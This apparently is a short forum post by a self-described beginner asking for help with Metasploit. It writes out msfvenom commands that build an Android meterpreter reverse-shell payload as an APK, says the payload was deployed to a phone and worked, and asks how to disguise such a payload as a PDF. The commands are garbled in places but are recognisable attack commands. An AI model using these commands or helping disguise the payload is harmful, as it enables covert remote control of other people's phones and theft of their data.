Hey Guyz I Am New to Hacking and I Want to Know Something About Metasploit Payloads....

I started hacking with kali and i am curious about metasploit and tried to hack android with this payload "msfvenom -p android/meterpreter/reverse_tcp R> name.apk and when i deploy this malicious apk into phone it worked............but

when i tried msfvenom -p android/meterpreter/reverse_tcp o- name.pdf it get me reverse connection but no seesion was create ......

anyone can help me to make payload for android and disguide it as PDF????